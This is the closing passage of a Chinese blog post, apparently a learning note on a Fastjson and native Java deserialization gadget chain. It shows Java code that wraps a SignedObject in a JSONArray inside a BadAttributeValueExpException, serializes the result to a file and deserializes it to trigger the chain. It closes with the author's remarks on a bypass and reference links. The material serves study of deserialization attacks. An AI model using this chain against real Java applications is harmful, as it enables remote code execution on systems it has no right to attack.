        JSONArray jsonArray = new JSONArray();
        jsonArray.add(signedObject);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val",jsonArray);

        ArrayList list = new ArrayList();
        list.add(signedObject);
        list.add(bad);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(list);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

————

最后,对于这里的利用方法,根据y4师傅说法如下:

image-20250416112917923

有点不是很懂,后面对底层理解更深了再来看看这个绕过方法,感觉还是比较有用的。

参考文章:

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

https://nivi4.notion.site/fastjson-17753526a00246f9b146eca7354b8835

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计